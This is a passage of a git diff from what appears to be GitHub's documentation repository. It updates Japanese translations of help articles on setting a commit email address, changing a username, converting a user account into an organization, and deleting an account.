-# Change directories to the initialized Git repository
+$ cd <em>ご使用のリポジトリ</em>
+# 初期化された Git リポジトリへディレクトリを変更する
 $ git remote -v
-origin	https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.git (fetch)
-origin	https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.git (push)
+origin  https://{% data variables.command_line.codeblock %}/<em>ご使用のユーザ名</em>/<em>ご使用のリポジトリ</em>.git (fetch)
+origin  https://{% data variables.command_line.codeblock %}/<em>ご使用のユーザ名</em>/<em>ご使用のリポジトリ</em>.git (push)
 ```
 
-Your user name is what immediately follows the `https://{% data variables.command_line.backticks %}/`.
+ご使用のユーザ名は `https://{% data variables.command_line.backticks %}/` の直後にあるものです。
 
 {% ifversion fpt or ghec %}
-## Further reading
+## 参考リンク
 
-- "[Verifying your email address](/articles/verifying-your-email-address)"
+- "[メールアドレスを検証する](/articles/verifying-your-email-address)"
 {% endif %}
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md
index 338493bf2e..7ed99b59f4 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md
@@ -1,6 +1,6 @@
 ---
-title: Setting your commit email address
-intro: 'You can set the email address that is used to author commits on {% data variables.product.product_location %} and on your computer.'
+title: コミットメールアドレスを設定する
+intro: '{% data variables.product.product_location %} とコンピュータ上でコミットを作成するために使用するメールアドレスを設定できます。'
 redirect_from:
   - /articles/keeping-your-email-address-private
   - /articles/setting-your-commit-email-address-on-github
@@ -22,29 +22,30 @@ topics:
   - Notifications
 shortTitle: Set commit email address
 ---
-## About commit email addresses
 
-{% data variables.product.prodname_dotcom %} uses your commit email address to associate commits with your account on {% data variables.product.product_location %}. You can choose the email address that will be associated with the commits you push from the command line as well as web-based Git operations you make.
+## コミットメールアドレスについて
 
-For web-based Git operations, you can set your commit email address on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For commits you push from the command line, you can set your commit email address in Git.
+{% data variables.product.prodname_dotcom %} uses your commit email address to associate commits with your account on {% data variables.product.product_location %}. コマンドラインからプッシュするコミットや、WebベースのGit操作に関連づけられるメールアドレスは選択できます。
 
-{% ifversion fpt or ghec %}Any commits you made prior to changing your commit email address are still associated with your previous email address.{% else %}After changing your commit email address on {% data variables.product.product_name %}, the new email address will be visible in all of your future web-based Git operations by default. Any commits you made prior to changing your commit email address are still associated with your previous email address.{% endif %}
+For web-based Git operations, you can set your commit email address on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. コマンドラインからプッシュするコミットについては、Git のコミットメールアドレスを設定できます。
+
+{% ifversion fpt or ghec %}コミットメールアドレスの変更前に行ったコミットは、変更前のメールアドレスに関連づけられたままとなります。{% else %}{% data variables.product.product_name %} 上のコミットメールアドレスを変更した後、新規メールアドレスは、今後のウェブベースの Git オペレーションのすべてで表示されます。 コミットメールアドレスを変更する前のコミットは、変更前のメールアドレスに関連付けられたままとなります。{% endif %}
 
 {% ifversion fpt or ghec %}
 
 {% note %}
 
-**Note**: {% data reusables.user_settings.no-verification-disposable-emails %}
+**参考**:{% data reusables.user_settings.no-verification-disposable-emails %}
 
 {% endnote %}
 
 {% endif %}
 
-{% ifversion fpt or ghec %}If you'd like to keep your personal email address private, you can use a `no-reply` email address from {% data variables.product.product_name %} as your commit email address. To use your `noreply` email address for commits you push from the command line, use that email address when you set your commit email address in Git. To use your `noreply` address for web-based Git operations, set your commit email address on GitHub and choose to **Keep my email address private**.
+{% ifversion fpt or ghec %}If you'd like to keep your personal email address private, you can use a `no-reply` email address from {% data variables.product.product_name %} as your commit email address. コマンドラインからプッシュするコミットに対して`noreply`メールアドレスを使いたい場合には、そのメールアドレスを Git のコミットメールアドレスの設定で使用してください。 Web ベースの Git 操作に `noreply` アドレスを使いたい場合には、GitHub でコミットメールアドレスの設定を行い、[**Keep my email address private**] を選択してください。
 
-You can also choose to block commits you push from the command line that expose your personal email address. For more information, see "[Blocking command line pushes that expose your personal email](/articles/blocking-command-line-pushes-that-expose-your-personal-email-address)."{% endif %}
+また、個人のメールアドレスを公開するコマンドラインからプッシュされたコミットをブロックするよう選択することもできます。 詳細は「[個人のメールを公開するコマンドラインプッシュのブロック](/articles/blocking-command-line-pushes-that-expose-your-personal-email-address)」を参照してください。{% endif %}
 
-To ensure that commits are attributed to you and appear in your contributions graph, use an email address that is connected to your account on {% data variables.product.product_location %}{% ifversion fpt or ghec %}, or the `noreply` email address provided to you in your email settings{% endif %}. {% ifversion not ghae %}For more information, see "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)."{% endif %}
+To ensure that commits are attributed to you and appear in your contributions graph, use an email address that is connected to your account on {% data variables.product.product_location %}{% ifversion fpt or ghec %}, or the `noreply` email address provided to you in your email settings{% endif %}. {% ifversion not ghae %}詳しい情報については、「[{% data variables.product.prodname_dotcom %} アカウントにメールアドレスを追加する](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)」を参照してください。{% endif %}
 
 {% ifversion fpt or ghec %}
 
@@ -54,9 +55,9 @@ To ensure that commits are attributed to you and appear in your contributions gr
 
 {% endnote %}
 
-If you use your `noreply` email address for {% data variables.product.product_name %} to make commits and then [change your username](/articles/changing-your-github-username), those commits will not be associated with your account on {% data variables.product.product_location %}. This does not apply if you're using the ID-based `noreply` address from {% data variables.product.product_name %}. For more information, see "[Changing your {% data variables.product.prodname_dotcom %} username](/articles/changing-your-github-username)."{% endif %}
+If you use your `noreply` email address for {% data variables.product.product_name %} to make commits and then [change your username](/articles/changing-your-github-username), those commits will not be associated with your account on {% data variables.product.product_location %}. This does not apply if you're using the ID-based `noreply` address from {% data variables.product.product_name %}. 詳細は「[{% data variables.product.prodname_dotcom %} ユーザ名を変更する](/articles/changing-your-github-username)」を参照してください。{% endif %}
 
-## Setting your commit email address on {% data variables.product.prodname_dotcom %}
+## {% data variables.product.prodname_dotcom %} のコミットメールアドレスを設定する
 
 {% data reusables.files.commit-author-email-options %}
 
@@ -66,11 +67,11 @@ If you use your `noreply` email address for {% data variables.product.product_na
 {% data reusables.user_settings.select_primary_email %}{% ifversion fpt or ghec %}
 {% data reusables.user_settings.keeping_your_email_address_private %}{% endif %}
 
-## Setting your commit email address in Git
+## Git のコミットメールアドレスを設定する
 
-You can use the `git config` command to change the email address you associate with your Git commits. The new email address you set will be visible in any future commits you push to {% data variables.product.product_location %} from the command line. Any commits you made prior to changing your commit email address are still associated with your previous email address.
+`git config`コマンドを使用して、Git コミットに関連付けられているメールアドレスを変更できます。 設定した新しいメールアドレスは、コマンドラインから {% data variables.product.product_location %} にプッシュするこれからのコミットに表示されます。 コミットメールアドレスを変更する前のコミットは、まだ過去のメールアドレスに関連付けられます。
 
-### Setting your email address for every repository on your computer
+### コンピュータにあるすべてのリポジトリ用にメールアドレスを設定する
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 2. {% data reusables.user_settings.set_your_email_address_in_git %}
@@ -84,14 +85,14 @@ You can use the `git config` command to change the email address you associate w
    ```
 4. {% data reusables.user_settings.link_email_with_your_account %}
 
-### Setting your email address for a single repository
+### 単一リポジトリ用にメールアドレスを設定する
 
 {% data variables.product.product_name %} uses the email address set in your local Git configuration to associate commits pushed from the command line with your account on {% data variables.product.product_location %}.
 
-You can change the email address associated with commits you make in a single repository. This will override your global Git config settings in this one repository, but will not affect any other repositories.
+単一のリポジトリで作成するコミットに関連するメールアドレスを変更できます。 この 1 つのリポジトリの Git コンフィグ設定を上書きしますが、他のリポジトリには影響しません。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change the current working directory to the local repository where you want to configure the email address that you associate with your Git commits.
+2. 現在のワーキングディレクトリを Git コミットと関連付けたメールアドレスを設定したいローカルリポジトリに変更します。
 3. {% data reusables.user_settings.set_your_email_address_in_git %}
    ```shell
    $ git config user.email "<em>email@example.com</em>"
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md
index f03142d93f..3f7251fb12 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md
@@ -1,5 +1,5 @@
 ---
-title: Changing your GitHub username
+title: GitHub ユーザ名の変更
 intro: 'You can change the username for your account on {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_location %} if your instance uses built-in authentication{% endif %}.'
 redirect_from:
   - /articles/how-to-change-your-username
@@ -36,57 +36,53 @@ shortTitle: Change your username
 
 {% endif %}
 
-## About username changes
+## ユーザ名の変更について
 
 You can change your username to another username that is not currently in use.{% ifversion fpt or ghec %} If the username you want is not available, consider other names or unique variations. Using a number, hyphen, or an alternative spelling might help you find a similar username that's still available.
 
-If you hold a trademark for the username, you can find more information about making a trademark complaint on our [Trademark Policy](/free-pro-team@latest/github/site-policy/github-trademark-policy) page. 
+If you hold a trademark for the username, you can find more information about making a trademark complaint on our [Trademark Policy](/free-pro-team@latest/github/site-policy/github-trademark-policy) page.
 
-If you do not hold a trademark for the name, you can choose another username or keep your current username. {% data variables.contact.github_support %} cannot release the unavailable username for you. For more information, see "[Changing your username](#changing-your-username)."{% endif %}
+If you do not hold a trademark for the name, you can choose another username or keep your current username. {% data variables.contact.github_support %} では、利用できないユーザ名をリリースできません。 詳細は「[ユーザ名を変更する](#changing-your-username)」を参照してください。{% endif %}
 
-After changing your username, your old username becomes available for anyone else to claim. Most references to your repositories under the old username automatically change to the new username. However, some links to your profile won't automatically redirect.
+ユーザ名を変更すると、変更前のユーザ名は誰でも取得できるようになります。 古いユーザ名の下にあるリポジトリへの参照のほとんどが、自動で新しいユーザ名に変わります。 ただし、プロフィールへのリンクによっては、自動的にリダイレクトされません。
 
-{% data variables.product.product_name %} cannot set up redirects for:
-- [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) using your old username
-- Links to [gists](/articles/creating-gists) that include your old username
+{% data variables.product.product_name %} は、次のリダイレクトを設定できません:
+- 古いユーザ名を使用する [@メンション](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)
+- 古いユーザ名を含む [Gist](/articles/creating-gists) にリンクする
 
-{% ifversion fpt or ghec %} 
+{% ifversion fpt or ghec %}
 
 If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you cannot make changes to your username. {% data reusables.enterprise-accounts.emu-more-info-account %}
 
 {% endif %}
 
-## Repository references
+## リポジトリ参照
 
-After you change your username, {% data variables.product.product_name %} will automatically redirect references to your repositories.
-- Web links to your existing repositories will continue to work. This can take a few minutes to complete after you make the change.
-- Command line pushes from your local repository clones to the old remote tracking URLs will continue to work.
+ユーザ名を変更した後、{% data variables.product.product_name %} は自動的にあなたのリポジトリへの参照をリダイレクトします。
+- 既存のリポジトリへの Web リンクは引き続き機能します。 変更を加えてから完了するまでに数分かかることがあります。
+- ローカルリポジトリのクローンから古いリモートトラッキング URL へのコマンドラインプッシュは引き続き機能します。
 
-If the new owner of your old username creates a repository with the same name as your repository, that will override the redirect entry and your redirect will stop working. Because of this possibility, we recommend you update all existing remote repository URLs after changing your username. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+古いユーザ名の新しい所有者が、あなたのリポジトリと同じ名前のリポジトリを作成すると、リダイレクトエントリが上書きされ、リダイレクトは機能しなくなります。 こうしたことが起こることを防ぐため、ユーザ名を変更したら、既存のすべてのリモートリポジトリ URL を更新することをお勧めします。 詳しい情報については「[リモートリポジトリの管理](/github/getting-started-with-github/managing-remote-repositories)」を参照してください。
 
-## Links to your previous profile page
+## 前のプロフィールページにリンクする
 
-After changing your username, links to your previous profile page, such as `https://{% data variables.command_line.backticks %}/previoususername`, will return a 404 error. We recommend updating any links to your account on {% data variables.product.product_location %} from elsewhere{% ifversion fpt or ghec %}, such as your LinkedIn or Twitter profile{% endif %}.
+ユーザ名を変更した後、`https://{% data variables.command_line.backticks %}/previoususername` のように前のプロフィールページにリンクすると 404 エラーが返されます。 We recommend updating any links to your account on {% data variables.product.product_location %} from elsewhere{% ifversion fpt or ghec %}, such as your LinkedIn or Twitter profile{% endif %}.
 
-## Your Git commits
+## Git コミット
 
-{% ifversion fpt or ghec %}Git commits that were associated with your {% data variables.product.product_name %}-provided `noreply` email address won't be attributed to your new username and won't appear in your contributions graph.{% endif %} If your Git commits are associated with another email address you've [added to your GitHub account](/articles/adding-an-email-address-to-your-github-account), {% ifversion fpt or ghec %}including the ID-based {% data variables.product.product_name %}-provided `noreply` email address, {% endif %}they'll continue to be attributed to you and appear in your contributions graph after you've changed your username. For more information on setting your email address, see "[Setting your commit email address](/articles/setting-your-commit-email-address)."
+{% ifversion fpt or ghec %}Git commits that were associated with your {% data variables.product.product_name %}-provided `noreply` email address won't be attributed to your new username and won't appear in your contributions graph.{% endif %} If your Git commits are associated with another email address you've [added to your GitHub account](/articles/adding-an-email-address-to-your-github-account), {% ifversion fpt or ghec %}including the ID-based {% data variables.product.product_name %}-provided `noreply` email address, {% endif %}they'll continue to be attributed to you and appear in your contributions graph after you've changed your username. メールアドレスの設定に関する詳細は「[コミットメールアドレスを設定する](/articles/setting-your-commit-email-address)」を参照してください。
 
-## Changing your username
+## ユーザ名を変更する
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.account_settings %}
-3. In the "Change username" section, click **Change username**.
-   ![Change Username button](/assets/images/help/settings/settings-change-username.png){% ifversion fpt or ghec %}
-4. Read the warnings about changing your username. If you still want to change your username, click **I understand, let's change my username**.
-   ![Change Username warning button](/assets/images/help/settings/settings-change-username-warning-button.png)
-5. Type a new username.
-   ![New username field](/assets/images/help/settings/settings-change-username-enter-new-username.png)
-6. If the username you've chosen is available, click **Change my username**. If the username you've chosen is unavailable, you can try a different username or one of the suggestions you see.
-   ![Change Username warning button](/assets/images/help/settings/settings-change-my-username-button.png)
+3. [Change username] セクションで [**Change username**] をクリックします。 ![Change Username button](/assets/images/help/settings/settings-change-username.png){% ifversion fpt or ghec %}
+4. ユーザ名を変更することに関する警告を読みます。 ユーザ名を変更したい場合は、[**I understand, let's change my username**] をクリックします。 ![[Change Username] 警告ボタン](/assets/images/help/settings/settings-change-username-warning-button.png)
+5. 新しいユーザ名を入力します。 ![新しいユーザ名のフィールド](/assets/images/help/settings/settings-change-username-enter-new-username.png)
+6. 選択したユーザ名が利用できる場合、[**Change my username**] をクリックします。 選択したユーザ名が利用できない場合、別のユーザ名を入力するか、提案されたユーザ名を利用できます。 ![[Change Username] 警告ボタン](/assets/images/help/settings/settings-change-my-username-button.png)
 {% endif %}
 
-## Further reading
+## 参考リンク
 
 - "[Why are my commits linked to the wrong user?](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user)"{% ifversion fpt or ghec %}
 - "[{% data variables.product.prodname_dotcom %} Username Policy](/free-pro-team@latest/github/site-policy/github-username-policy)"{% endif %}
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md
index 7fececc39d..50e7bb5418 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md
@@ -1,12 +1,12 @@
 ---
-title: Converting a user into an organization
+title: ユーザを Organization に変換する
 redirect_from:
   - /articles/what-is-the-difference-between-create-new-organization-and-turn-account-into-an-organization
   - /articles/explaining-the-account-transformation-warning
   - /articles/converting-a-user-into-an-organization
   - /github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization
   - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization
-intro: You can convert your user account into an organization. This allows more granular permissions for repositories that belong to the organization.
+intro: ユーザアカウントは、Organization に変換できます。 これにより、Organization に属するリポジトリに対して、より細かく権限を設定できます。
 versions:
   fpt: '*'
   ghes: '*'
@@ -15,55 +15,53 @@ topics:
   - Accounts
 shortTitle: User into an organization
 ---
+
 {% warning %}
 
-**Warning**: Before converting a user into an organization, keep these points in mind:
+**警告**: ユーザを Organization に変換する前に、以下の点についてご注意ください:
 
- - You will **no longer** be able to sign into the converted user account.
- - You will **no longer** be able to create or modify gists owned by the converted user account.
- - An organization **cannot** be converted back to a user.
- - The SSH keys, OAuth tokens, job profile,  reactions, and associated user information, **will not** be transferred to the organization. This is only true for the user account that's being converted, not any of the user account's collaborators.
- - Any commits made with the converted user account **will no longer be linked** to that account. The commits themselves **will** remain intact.
+ - 変換したユーザアカウントには、サインイン**できなくなります**。
+ - 変換したユーザアカウントが所有していた Gist を作成や変更することは**できなくなります**。
+ - Organization をユーザに変換して元に戻すことは**できません**。
+ - SSH キー、OAuth トークン、ジョブプロフィール、リアクション、および関連するユーザ情報は、Organization に移譲**されません**。 これは、変換されたユーザアカウントのみに該当し、ユーザアカウントのコラボレーターには該当しません。
+ - 変換したユーザアカウントによるコミットは、アカウントに**リンクされなくなります**。 コミットそのものは、**そのまま残ります**。
  - Any forks of private repositories made with the converted user account will be deleted.
 
 {% endwarning %}
 
-## Keep your personal user account and create a new organization manually
+## 個人ユーザアカウントを保ち、新しい Organization を手動で作成する
 
-If you want your organization to have the same name that you are currently using for your personal account, or if you want to keep your personal user account's information intact, then you must create a new organization and transfer your repositories to it instead of converting your user account into an organization.
+Organization の名前を、あなたの個人アカウントが使用しているものと同じにしたい場合や、個人のユーザアカウント情報をそのまま残しておきたい場合は、ユーザアカウントを Organization に変換するのではなく、新しい Organization を作成して、そこへリポジトリを移譲する必要があります。
 
-1. To retain your current user account name for your personal use, [change the name of your personal user account](/articles/changing-your-github-username) to something new and wonderful.
-2. [Create a new organization](/articles/creating-a-new-organization-from-scratch) with the original name of your personal user account.
-3. [Transfer your repositories](/articles/transferring-a-repository) to your new organization account.
+1. 現在のユーザアカウント名を個人的に使いたい場合は、[個人ユーザアカウント名を変更](/articles/changing-your-github-username)し、何か新しくて素敵な名前を付けましょう。
+2. 元の個人アカウント名で、[新しい Organization を作成](/articles/creating-a-new-organization-from-scratch)します。
+3. 新しい Organization アカウントに[リポジトリを移譲](/articles/transferring-a-repository)します。
 
-## Convert your personal account into an organization automatically
+## 個人アカウントを Organization に自動で変換する
 
-You can also convert your personal user account directly into an organization. Converting your account:
- - Preserves the repositories as they are without the need to transfer them to another account manually
- - Automatically invites collaborators to teams with permissions equivalent to what they had before
- {% ifversion fpt or ghec %}- For user accounts on {% data variables.product.prodname_pro %}, automatically transitions billing to [the paid {% data variables.product.prodname_team %}](/articles/about-billing-for-github-accounts) without the need to re-enter payment information, adjust your billing cycle, or double pay at any time{% endif %}
+あなたの個人ユーザアカウントを Organization に直接変換することも可能です。 アカウントを変換すると、以下のことが起こります:
+ - リポジトリはそのまま保持されます。他のアカウントに手動で移譲する必要はありません。
+ - コラボレーターを、Team に自動的に招待します。コラボレーターの権限は、以前のものがそのまま引き継がれます。
+ {% ifversion fpt or ghec %}- {% data variables.product.prodname_pro %} のユーザアカウントでは、支払い情報の入力や支払いサイクルの調整も必要なく、また二重の支払いもすることなく、自動的に[有料 {% data variables.product.prodname_team %}](/articles/about-billing-for-github-accounts) に移行できます。{% endif %}
 
-1. Create a new personal account, which you'll use to sign into GitHub and access the organization and your repositories after you convert.
-2.  [Leave any organizations](/articles/removing-yourself-from-an-organization) the user account you're converting has joined.
+1. GitHub にサインインし、変換後に Organization やリポジトリにアクセスするために使う、新しい個人アカウントを作成します。
+2.  変換するアカウントで参加している、[すべての Organization から自分を削除](/articles/removing-yourself-from-an-organization)してください。
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.organizations %}
-5. Under "Transform account", click **Turn <username> into an organization**.
- 	![Organization conversion button](/assets/images/help/settings/convert-to-organization.png)
-6. In the Account Transformation Warning dialog box, review and confirm the conversion. Note that the information in this box is the same as the warning at the top of this article.
- 	![Conversion warning](/assets/images/help/organizations/organization-account-transformation-warning.png)
-7. On the "Transform your user into an organization" page, under "Choose an organization owner", choose either the secondary personal account you created in the previous section or another user you trust to manage the organization.
- 	![Add organization owner page](/assets/images/help/organizations/organization-add-owner.png)
-8. Choose your new organization's subscription and enter your billing information if prompted.
-9. Click **Create Organization**.
-10. Sign in to the new user account you created in step one, then use the context switcher to access your new organization.
+5. [Transform account] で、[**Turn <username> into an organization**] をクリックします。 ![Organization 変換ボタン](/assets/images/help/settings/convert-to-organization.png)
+6. [Account Transformation Warning] ダイアログボックスで、変換に関する情報を読み、変換を確定します。 このボックスに記載されている情報は、この記事で上述したものと同じです。 ![変換に関する警告](/assets/images/help/organizations/organization-account-transformation-warning.png)
+7. [Transform your user into an organization] ページの、[Choose an organization owner] で、前のセクションで作成したセカンダリの個人アカウントか、Organization の管理を信頼して任せられる他のユーザを選択します。 ![Organization オーナーの追加ページ](/assets/images/help/organizations/organization-add-owner.png)
+8. 入力を求められた場合、Organization の新しいプランを選択し、支払い情報を入力します。
+9. [**Create Organization**] をクリックします。
+10. ステップ 1 で作成した、新しいユーザアカウントにサインインし、コンテキストスイッチャーを使って新しい Organization にアクセスします。
 
 {% tip %}
 
-**Tip**: When you convert a user account into an organization, we'll add collaborators on repositories that belong to the account to the new organization as *outside collaborators*. You can then invite *outside collaborators* to become members of your new organization if you wish. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
+**ヒント**: ユーザアカウントを Organization に変換した場合、アカウントに属していたリポジトリのコラボレーターは、新しい Organization に*外部コラボレーター*として追加されます。 希望する場合は、*外部コラボレーター*を新しい Organization のメンバーに招待できます。 For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
 
 {% endtip %}
 
-## Further reading
-- "[Setting up teams](/articles/setting-up-teams)"
-{% ifversion fpt or ghec %}- "[Inviting users to join your organization](/articles/inviting-users-to-join-your-organization)"{% endif %}
-- "[Accessing an organization](/articles/accessing-an-organization)"
+## 参考リンク
+- [Team の設定](/articles/setting-up-teams)
+{% ifversion fpt or ghec %}-"[Organization に参加するようユーザを招待する](/articles/inviting-users-to-join-your-organization){% endif %}
+- [Organization にアクセスする](/articles/accessing-an-organization)
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md
index d75e89ba91..9d73fed494 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting your user account
-intro: 'You can delete your {% data variables.product.product_name %} user account at any time.'
+title: 自分のユーザアカウントの削除
+intro: 'いつでも自分の {% data variables.product.product_name %}ユーザアカウントを削除できます。'
 redirect_from:
   - /articles/deleting-a-user-account
   - /articles/deleting-your-user-account
@@ -12,40 +12,39 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Delete your user account
+shortTitle: ユーザアカウントを削除
 ---
-Deleting your user account removes all repositories, forks of private repositories, wikis, issues, pull requests, and pages owned by your account. {% ifversion fpt or ghec %} Issues and pull requests you've created and comments you've made in repositories owned by other users will not be deleted - instead, they'll be associated with our [Ghost user](https://github.com/ghost).{% else %}Issues and pull requests you've created and comments you've made in repositories owned by other users will not be deleted.{% endif %}
+
+自分のユーザアカウントを削除すると、リポジトリ、プライベートリポジトリのフォーク、ウィキ、Issue、プルリクエスト、また自分のアカウントが所有しているページもすべて削除されます。 {% ifversion fpt or ghec %} 他のユーザが所有するリポジトリでこれまで作成した Issue とプルリクエスト、また行ったコメントが削除されることはなく、代わりに [ゴーストユーザ](https://github.com/ghost)に関連付けられます。{% else %}他のユーザが所有するリポジトリでこれまで作成した Issue とプルリクエスト、また行ったコメントが削除されることはありません。{% endif %}
 
 {% ifversion fpt or ghec %} When you delete your account we stop billing you. The email address associated with the account becomes available for use with a different account on {% data variables.product.product_location %}. After 90 days, the account name also becomes available to anyone else to use on a new account. {% endif %}
 
-If you’re the only owner of an organization, you must transfer ownership to another person or delete the organization before you can delete your user account. If there are other owners in the organization, you must remove yourself from the organization before you can delete your user account.
+あなたが Organization のただ一人のオーナーの場合は、ユーザアカウントを削除する前に、所有権を他の人に移譲するか、Organization を削除する必要があります。 Organization に別のオーナーがいる場合は、自分のユーザアカウントを削除する前に、Organization から自分を削除する必要があります。
 
-For more information, see:
-- "[Transferring organization ownership](/articles/transferring-organization-ownership)"
-- "[Deleting an organization account](/articles/deleting-an-organization-account)"
-- "[Removing yourself from an organization](/articles/removing-yourself-from-an-organization/)"
+詳しい情報については、以下を参照してください。
+- "[Organization の所有権の移譲](/articles/transferring-organization-ownership)"
+- "[Organization アカウントの削除](/articles/deleting-an-organization-account)"
+- "[Organization から自分を削除する](/articles/removing-yourself-from-an-organization/)"
 
-## Back up your account data
+## アカウントデータのバックアップ
 
-Before you delete your user account, make a copy of all repositories, private forks, wikis, issues, and pull requests owned by your account.
+自分のユーザアカウントを削除する前に、リポジトリ、プライベートフォーク、ウィキ、Issue、また自分のアカウントが所有しているプルリクエストすべてのコピーを作成します。
 
 {% warning %}
 
-**Warning:** Once your user account has been deleted, GitHub cannot restore your content.
+**警告:** 一度ユーザアカウントを削除すると、GitHub はそのコンテンツを復元できません。
 
 {% endwarning %}
 
-## Delete your user account
+## ユーザアカウントを削除
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.account_settings %}
-3. At the bottom of the Account Settings page, under "Delete account", click **Delete your account**. Before you can delete your user account:
-    - If you're the only owner in the organization, you must transfer ownership to another person or delete your organization.
-    - If there are other organization owners in the organization, you must remove yourself from the organization.
-   ![Account deletion button](/assets/images/help/settings/settings-account-delete.png)
-4. In the "Make sure you want to do this" dialog box, complete the steps to confirm you understand what happens when your account is deleted:
-  ![Delete account confirmation dialog](/assets/images/help/settings/settings-account-deleteconfirm.png)
+3. アカウント設定ページの下部にある [Delete account] の下で [**Delete your account**] をクリックします。 自分のユーザアカウントを削除する前にすべきことは次のとおりです:
+    - 自分が Organization で唯一のオーナーの場合、Organization を削除する前に所有権を別の人に移譲する必要があります。
+    - Organization に別のオーナーがいる場合は、自分自身を Organization から削除する必要があります。 ![アカウント削除ボタン](/assets/images/help/settings/settings-account-delete.png)
+4. [Make sure you want to do this] ダイアログボックスで、アカウントを削除すると何が起こるか理解したことを確認する手順を完了させます: ![アカウント削除の確認ダイアログ](/assets/images/help/settings/settings-account-deleteconfirm.png)
   {% ifversion fpt or ghec %}- Recall that all repositories, forks of private repositories, wikis, issues, pull requests and {% data variables.product.prodname_pages %} sites owned by your account will be deleted and your billing will end immediately, and your username will be available to anyone for use on {% data variables.product.product_name %} after 90 days.
-  {% else %}- Recall that all repositories, forks of private repositories, wikis, issues, pull requests and pages owned by your account will be deleted, and your username will be available for use on {% data variables.product.product_name %}.
-  {% endif %}- In the first field, type your {% data variables.product.product_name %} username or email.
-    - In the second field, type the phrase from the prompt.
+  {% else %}- リポジトリ、プライベートリポジトリのフォーク、ウィキ、Issue、プルリクエスト、そして自分のアカウントが所有しているページが、すべて削除されること、ユーザ名が {% data variables.product.product_name %} 上で誰でも使用できるようになることを再確認します。
+  {% endif %}- 最初のフィールドに、自分の {% data variables.product.product_name %}ユーザ名またはメールアドレスを入力してください。
+    - 2 番目のフィールドに、指示されたとおりのフレーズを入力してください。
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md
index 5869a719ec..3e6fe929de 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing user account settings
-intro: 'You can change several settings for your personal account, including changing your username and deleting your account.'
+title: ユーザ アカウント設定の管理
+intro: ユーザ名を変更する、アカウントを削除するなど、個人アカウントの設定を変更できます。
 redirect_from:
   - /categories/29/articles
   - /categories/user-accounts
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md
index e41dec9831..f3cea6bf7e 100644
